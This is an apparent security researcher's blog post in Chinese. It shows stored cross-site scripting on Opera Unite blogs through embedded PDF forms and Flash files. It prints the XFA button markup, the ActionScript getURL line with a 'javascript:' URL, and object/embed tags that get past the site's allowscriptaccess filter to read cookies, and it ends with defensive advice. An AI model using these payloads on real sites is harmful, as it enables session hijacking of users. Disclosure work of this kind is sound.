另類XSS攻擊手法：利用PDF與Flash的XSS攻擊--Opera Unite安全性第一回

九月一日，Opera 10沸沸揚揚的登場了，新聞還真不少：

ITHome: Opera 10釋出　四小時下載超過20萬
ZDNet: Opera 10 正式版出爐 新增Turbo加速功能
網路資訊： Opera 10正式版推出開放下載
聯合新聞網： Opera 10 全世界最快的瀏覽器

眾多報導中我最有興趣的，是Opera推出了「Opera Unite」社交平台，上面有檔案分享，部落格等等社交網路服務（SNS, Social Networking Service）功能，並由Opera 10瀏覽器直接支援，計畫藉由其瀏覽器使用者之基礎，踏入SNS與UGC（使用者產生之內容，user-generated content），也藉由SNS與UGC，反過來穩固其既有的瀏覽器社群。在 my.opera.com上，Opera Unite宣稱提供1G的免費空間，並大力推廣部落格功能。Opera Unite的部落格直接有行動版，方便行動用戶利用Opera Mini閱讀（Opera市佔率以行動市場為最高）。




新裝好的 Opera 10 瀏覽器中，也直接有功能與 Opera Unite 整合，充分展現 Opera 這次進軍 SNS 的企圖心！



PDF XSS 跨腳本攻擊測試
我最喜歡裝新的瀏覽器了，因為我的工作跟Web很有關係，任何瀏覽器在速度上的提或新功能的發展，都可能對我有幫助。當然，另一點很重要的是，新瀏覽器的安全性。安裝完Opera 10後，我順便註冊了一個Opera Unite的帳號。隨手一測，WOW，漏洞真的很多！我有時覺得自己真是有職業病，每當朋友興高采烈的跟我介紹某新網站，某新軟體，某新產品時，我腦袋總是響著各種警鈴，WOW，這個不安全，WOW，這樣子的話漏洞大了，WOW，這功能誰設計的，根本沒考慮資安...當對方興致勃勃等我回應時，我腦袋卻總轉著各種資安問題，而沒有辦法用相同程度的熱忱與興奮來回應他們...不只如此，還會手癢開始測試問題。朋友常說我有職業病，我有時候也覺得，自己真的是職業病很嚴重。

無論如何，那麼來談談一些我週末找到的漏洞吧！每次一開始找到的漏洞不外乎SQL Injection、XSS、CSRF等，可是老是講這些似乎太老套了...那麼，來介紹一下稍微「另類」的XSS攻擊--透過PDF與Flash的XSS攻擊好了！

假設我是駭客，那麼對 Opera Unite 最有效且持久的攻擊是什麼？其中之一是，我來註冊一個免費的部落格，然後貼一篇文章。Opera Unite的部落格，支援基本的HTML語法，但是會（盡可能）過濾導致資安問題的語法，例如「javascript」或「iframe」等等。假設我能找到部落格中的「預存式XSS（stored cross-site scripting」（又稱「永久型XSS（persistent cross-site scripting」），那麼只要在登入狀態而來看我文章的 Opera Unite 使用者，都會被我攻擊，自動偷到他們的cookie，或甚至讓他們自動在他們的部落格文章中，插入一樣的攻擊碼，而造成蠕蟲式的散播。

由於 Opera Unite 對於具有威脅性的語法如「javascript」或「iframe」等，做了基本的過濾，於是如果要XSS，便要嘗試繞過其過濾函式。這種過濾函式很不好寫（見「弔詭的過濾函式」），絕對有機會繞過，但是要花時間。不如我們來用PDF吧！

藉由<embed>或<object>等tag，我們可以將PDF檔案內嵌於HTML頁面中。安裝Adobe Acrobat Reader時，Acrobat Reader會順便安裝瀏覽器plugin，而在嵌入有PDF檔案的HTML頁面被瀏覽器解析時，Acrobat Reader plugin會啟動，顯示出PDF的內容。PDF檔案格式支援表單功能，在表單中，我們可以放一個「HTTP送出按鈕（HTTP Submit Button）」，當被按下時，Acrobat Reader plugin會觸發瀏覽器開啟一個URL。

OK，重點來了，這個按鈕的URL protocol handler中，支援「javascript:」這個handler。為何PDF表單中需要支援「javascript:」？我也不知道，但是之前與Adobe總部互動討論後，得到的答案是短期內Adobe並沒有計畫要拿掉這個功能。

於是，我們可以做一個PDF，含有一個表單，於表單上放置一個「HTTP送出按鈕」，並把URL設成「javascript:cookie_stealer()」，其中cookie_stealer()就是我們偷cookie的程式。我做了一個放在www.openwaves.net上，其中表單的程式碼如下：

<field xmlns="http://www.xfa.org/schema/xfa-template/2.2/" h="22.225mm" name="HTTPSubmitButton1" w="38.1mm" x="171.45mm" y="3.175mm">
  <?templateDesigner isHttpSubmitObject true?>
  <ui>
    <button/>
  </ui>
  <font typeface="Adobe Ming Std L"/>
  <caption>
    <value>
      <text>送出</text>
    </value>
    <para hAlign="center" vAlign="middle"/>
    <font size="36pt" typeface="Adobe Ming Std L"/>
  </caption>
  <border hand="right">
    <?templateDesigner StyleID apbx2?>
    <edge stroke="raised"/>
    <fill>
      <color value="212,208,200"/>
    </fill>
  </border>
  <bind match="none"/>
  <event activity="click">
    <submit format="formdata" target="javascript:alert(document.cookie);" textEncoding="UTF-8"/>
  </event>
</field>

接下來我們必須將此PDF嵌入我們在Opera Unite的頁面中。Opera Unite的部落格對於「<embed>」與「<object>」 兩種tag，都有支援。我們選擇用「<object>」，因為可以很容易地讓PDF秀出來時，不要有其它周邊的工具欄（toolbar）。程式如下：

<object data='http://www.openwaves.net/armorize_cht3.pdf#scrollbar=0&toolbar=0&statusbar=0&messages=0&navpanes=0' type='application/pdf' width='100%' height='70%'></object>

整個部落格文章成品請見：「PDF XSS 跨腳本攻擊測試」，畫面如下：

經過測試，此攻擊可以在Opera、Firefox、Safari、與Google Chrome等瀏覽器上執行成功，Opera的畫面就是本篇最開始的畫面，其它瀏覽器的畫面如下：（按下可以放大）

這種攻擊，要說是誰的弱點呢？我認為算是Adobe的，因為PDF表單沒有理由要支援「javascript:」這種protocol handler--或許Adobe有他們的理由吧！不過上次回報後得到的答案是，PDF跟HTML一樣，都是屬於動態文件，因此這個為「功能」而非「弱點」，所以短期內不會拿掉。既然這樣的話，只能說，網站如果有可以讓使用者自行上傳HTML的功能，那麼是否允許「<embed>」與「<object>」 等tag，需要審慎考慮。

阿碼外傳是放在Google的Blogger上，Blogger的作法則是利用javascript SOP（相同來源政策，same origin policy）與不同網域名稱來解決。Blogger的登入與管理介面是放在blogger.com上，可是實際顯示的部落格是放在armorize-cht.blogspot.com上，這樣可以達到兩種保護效果：
1. 偷到armorize-cht.blogspot.com的cookie，對於實際上管理用的blogger.com無效。
2. 由於每個部落格具有自己獨立的網域，所以即使blogspot.com有需要用到cookie，那麼偷到了armorize-cht.blogspot.com的cookie，也對於其它部落格無效。

這是很好的作法，因為要過濾HTML中的惡意字串，其實不是一件容易的事（見「弔詭的過濾函式」）。

Opera Unite的架構則不一樣，拿我註冊的測試帳號來說，部落格網址為：http://my.opera.com/armorize/blog，也就是說，每個人的部落格網址就是：http://my.opera.com/帳號/blog。如果是這樣的話，偷到別人的cookie，很可能整個Opera Unite（my.opera.com）的身份就可以盜用了。

所以，相較於 Opera Unite 努力parse使用者上傳的HTML，試圖保衛安全性，過濾惡意的元素，blogger則比較少。例如blooger對於「<embed>」與「<object>」 等tag，幾乎是不太過濾，反正偷了cookie也只是blogspot.com的cookie而已。當然cookie也有path機制可以利用，可是根據實際經驗，效果並不好，見以下「小結」中之討論。

（題外話，可是我試過，可以偷共同作者的cookie。因為blogger.com的管理介面，有預覽功能，所以我寫一篇，請其它作者幫我「改錯或檢查」，就可以偷到其它作者的cookie。）

Flash XSS 跨腳本攻擊測試

上述的PDF XSS 跨腳本攻擊法，威脅是，很多網站不知道可以這樣攻擊，所以不會限制PDF的嵌入。另外，Adobe的PDF是很流行的檔案格式，很多使用者都有裝Acrobat Reader，所以攻擊面可以很廣。可是缺點是，需要按一下按鈕才能觸發攻擊。當然，這個可以改，不過以後再寫了。現在，我們要一個更簡單的方式，最好對方一來我的部落格就中了XSS，那要如何做呢？我們可以利用另外一個安裝率可能更高的瀏覽器plugin：Adobe Flash。Flash中可以寫ActionScript，而getURL()這個函式，可以驅動瀏覽器前往某個URL，並且...對的，也支援「javascript:」protocol handler。Flash的這個功能，我看是更難拿掉了，因為很多的Flash程式，都是利用這個功能來彈出對話盒的（getURL("javascript:alert("xxx");"）。

我做了一個flash的XSS攻擊程式，裡頭只有一行：「javascript:」protocol handler

onClipEvent (load) {
  getURL("javascript:alert(document.cookie);"); 
}

我先將這個檔案放到www.openwaves.net上，然後新增一篇部落格，利用「<embed>」tag來嵌入此flash。但是Flash的保護畢竟比PDF多。在嵌入Flash時，要加註「allowscriptaccess」參數為「always」，不然「javascript:」protocol handler會被擋掉。allowscriptaccess從Flash 6就有了，Flash 7開始，如果沒有加註，則內定值為「sameDomain」。由於我們的flash攻擊程式不是放在my.opera.com上，所以我們必須將此值設定為「always」：

<EMBED href="http://www.openwaves.net/flash_xss.swf" TYPE="application/x-shockwave-flash" allowscriptaccess="always"></EMBED>

發佈部落格後，攻擊不成功，「view source」一看，原來Opera Unite認識「allowscriptaccess」，並把我們寫的「always」改成了「never」：

<embed href="http://www.openwaves.net/flash_xss.swf" type="application/x-shockwave-flash" allowscriptaccess="never">

恩，不錯，至少有基本的防禦力，那麼與其測試是否能繞過過濾函式，不如找其它的方法。我們試試「<object>」吧：

<object data='http://www.openwaves.net/flash_xss.swf' type='application/x-shockwave-flash' width='1' height='1'><param name="allowscriptaccess" value="always"></object>

結果Opera Unite並不檢查「<object>」tag中的「allowscriptaccess」值，就這樣讓我們的攻擊成功了。攻擊的部落格在：「Flash XSS 跨腳本攻擊測試」，畫面上沒有痕跡，也不需要對方按什麼地方，只要瀏覽，就可以偷cookie了。一樣，在Firefox、Opera、Safari、與Google Chrome上都能成功。


防禦方式

這邊示範了利用Adobe的兩個廣為使用的瀏覽器plugin--PDF與Flash，以Opera Unite為例，展試了如何達成XSS攻擊。這種漏洞算誰的責任？網站管理者沒有能力影響到廠商（Adobe）要如何設計他們的瀏覽器plugin，而大家卻都有安裝。PDF為何要支援「javascript:」protocol handler？我們無法知道。在這種模糊地帶，網站開發者只有自己採取錯失避免此類攻擊。過濾使用者上傳的HTML是一個方法，但是正確的過濾函式不容易撰寫。

對於利用XSS偷cookie的攻擊，另一個方法則是blogger所採用的，a)將管理平台與內容平台分開，與b)讓每一個使用者內容有其獨立的網域（user_name.blogspot.com），而非讓全部使用者的部落格都在同一網域下，例如my.opera.com。當然，cookie可有path的限制可以利用，但是事實上，單一網域的網站架構，到最後都很少利用到cookie path來限制cookie的有效範圍，Opera Unite也不例外：

SNS平台吸引人之處，就是其豐富的user-generated content；然而有效處理使用者上傳的資料並做好正確的過濾，一直都是一個很大的挑戰。針對PDF與Flash的XSS攻擊，網站開發者必須特別注意使用者上傳內容中內嵌的PDF、Flash或其它可以存取到DOM（document object model）元素的檔案。

對於一般使用者來說，最簡單的方式可以是使用多個瀏覽器（firefox、safari、chrome），負責進行登入的瀏覽器，不拿來瀏覽其它內容。Firefox可以透過--profilemanager參數來設定不同profile，也是大家常用的方式。對於PDF的XSS攻擊，使用者可以設定不要讓PDF於瀏覽器內開啟，一律以外部Acrobat reader獨立開啟：

作者Wayne為阿碼科技一員